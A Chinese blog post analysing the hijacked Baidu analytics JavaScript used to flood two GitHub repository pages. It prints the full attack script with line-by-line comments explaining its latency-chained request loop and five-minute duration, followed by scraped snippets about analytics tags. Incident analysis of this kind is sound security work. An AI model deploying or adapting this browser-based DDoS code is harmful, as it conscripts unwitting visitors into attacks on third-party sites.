百度统计js被劫持用来DDOS Github的JS注释

前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。

就分析了下JS的执行,发现乌云解析的地方说错了。

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。

我看了下代码的意思是:

第一次请求,延迟2秒钟请求。

然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。

从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。

你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。

以下为JS的详解(JS很烂,求板砖):

 1 document.write("<script src=‘http://libs.baidu.com/jquery/2.0.0/jquery.min.js‘>\x3c/script>");    //加载jQuery
 2 !window.jQuery && document.write("<script src=‘http://code.jquery.com/jquery-latest.js‘>\x3c/script>");    //判断windows.jQuery有没有被定义,没有就再加载JQuery
 3 startime = (new Date).getTime();    //获取当前时间戳,毫秒(最初执行时间)
 4 var count = 0;    //总请求次数
 5
 6 function unixtime() {    //获取一个时间戳
 7 var a = new Date;
 8 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
 9 }
10
11 url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];    //定义要请求的URL
12 NUM = url_array.length;    //  获取URL数组长度,两个URL
13
14 function r_send2() {
15 var a = unixtime() % NUM;    //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
16 get(url_array[a])    //带入URL进入GET函数
17 }
18
19 function get(a) {    //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
20 var b;    //请求时间差
21 $.ajax({
22 url: a,    //请求的URL
23 dataType: "script",    //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
24 timeout: 1E4,    //1e4=10000,设置请求超时时间
25 cache: !0,    //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
26 beforeSend: function() {    //发送请求前可修改 XMLHttpRequest 对象的函数
27 requestTime = (new Date).getTime()    //获取当前时间戳,毫秒(请求开始的时间)
28 },
29 complete: function() {    //请求完成后回调函数
30 responseTime = (new Date).getTime();    //获取当前时间戳,毫秒(请求完成的时间)
31 b = Math.floor(responseTime - requestTime);    //请求时间差,网络响应慢后面就请求慢了~
32 3E5 > responseTime - startime && (r_send(b), count += 1)    //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
33 }
34 })
35 }
36
37 function r_send(a) {
38 setTimeout("r_send2()", a)    //等待a毫秒以后执行r_send2()
39 }
40 setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
41 // PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
42 // PS: 并不是每两秒钟执行一次请求
时间: 2024-10-11 06:05:08

百度统计js被劫持用来DDOS Github的JS注释的相关文章

百度统计的JS脚本原理解析

一句话:在你的网站上加载百度统计的脚本,这个脚本会收集你的本地信息,然后发送给百度统计网站 https://blog.csdn.net/iqzq123/article/details/8877645 百度的:http://hm.baidu.com/h.js?95dfd07652f91dffd9647f46a3ca9fabgoogle的:http://www.google-analytics.com/ga.js 原文地址:https://www.cnblogs.com/shengulong/p/8

如何为网站添加百度统计功能

1 获取百度统计代码 首先登录tongji.baidu.com,在百度统计中申请账号,申请登录后,在管理中加入需要统计的网站地址,添加完成后百度会生成统计代码,不同的网站百度生成的代码是不一样的.在百度统计的管理界面,在需要统计的网站一行,后面有获取代码,点击后会得到百度的统计代码,是一段js文件.类似于 <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"

百度统计代码

<script type="text/javascript">var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com

【转载】国内网站博客数据统计选免费Google Analytics还是百度统计

[转载]国内网站博客数据统计选免费Google Analytics还是百度统计 Google Analytics谷歌统计是我用的第一个网站统计工具,当然现在也一直在用.Google Analytics凭借其强大的功能和超强的稳定性.快速的反应能力.广泛的数据应用功能,受到了广大站长的追捧. 使用Google Analytics的站长们应该不在少数吧,每天登录Google Analytics免费网站上查看网站的流量也是我们这些站长们必须做的事情,认真分析Google Analytics当中的数据信

随笔-cnzz,百度统计,异步换统计,地址栏换地址

******************************* <script>//百度统计var _hmt = _hmt || [];_hmt.push(['_setAccount', 'a2915193765b4211795685124561a792']); //声明_czc对象:var _czc = _czc || [];//绑定siteid,请用您的siteid替换下方"XXXXXXXX"部分_czc.push(["_setAccount", &

屏蔽全部统计代码(51.la cnzz 百度统计 谷歌分析师adsense、屏蔽淘宝客广告代码)的方法

支持百度统计 .51.la统计.cnzz统计.51yes统计.谷歌分析师.阿里妈妈淘宝客广告.chinaz弹窗.假设有很多其它的须要屏蔽的,欢迎联系 default7#zbphp.com 改动etc的hosts文件,Win7 地址位置:C:\Windows\System32\drivers\etc\hosts 增加内容:(假设是xp系统.将 ::1 改成127.0.0.1就可以) #屏蔽全部统计 ::1 bbs2.chinaz.com ::1 js.51.la ::1 js.users.51.l

vue加百度统计代码(亲测有效)

申请百度统计后,会得到一段JS代码,需要插入到每个网页中去,在Vue.js项目首先想到的可能就是,把统计代码插入到index.html入口文件中,这样就全局插入,每个页面就都有了;这样做就涉及到一个问题,Vue.js项目是单页应用,每次用户浏览网站时,访问内页时页面是不会刷新的,也就意味着不会触发百度统计代码:所以最终在百度统计后台看到的效果就是只统计到了网页入口的流量,却无法统计到内页的访问流量. 解决方法 在main.js文件中调用vue-router的afterEach方法,将统计代码加入

[tools]hugo&amp;github构建静态网站/百度统计

hugo/github构建网站基本原理 1.hugo是一个静态化的工具,你写md,然后他把md转换成对应样式的html, 2.并给html嵌入百度统计的script.然后你将html放到github上,github可以支持静态博客.你就拥有了自己的博客 3.用户访问时,触发js统计代码,上报给百度统计. 安装配置hugo+githubpage站点 老宋专门写了一本关于这个的书 参考 这个文档有个坑,里面访问的url改成https的.如果按照文档的http会导致发到github上后样式加载不成功.

国际化产品的百度统计与谷歌统计

最近在主导重构公司一款国际化产品,需要进行埋点统计,具体需求是工程里面的事件分析根据国内/国外进行统计,海外版的使用谷歌统计,国内版的采用百度统计.采用的是同一套工程代码,所以只需要写一个方法,里面根据配置文件的平台属性来做区分是百度统计还是谷歌统计,代码总结如下: ;(function (win) { var config = win.SYSTEM_CONFIG; var statistics = function () { }; if (config && (config.baidu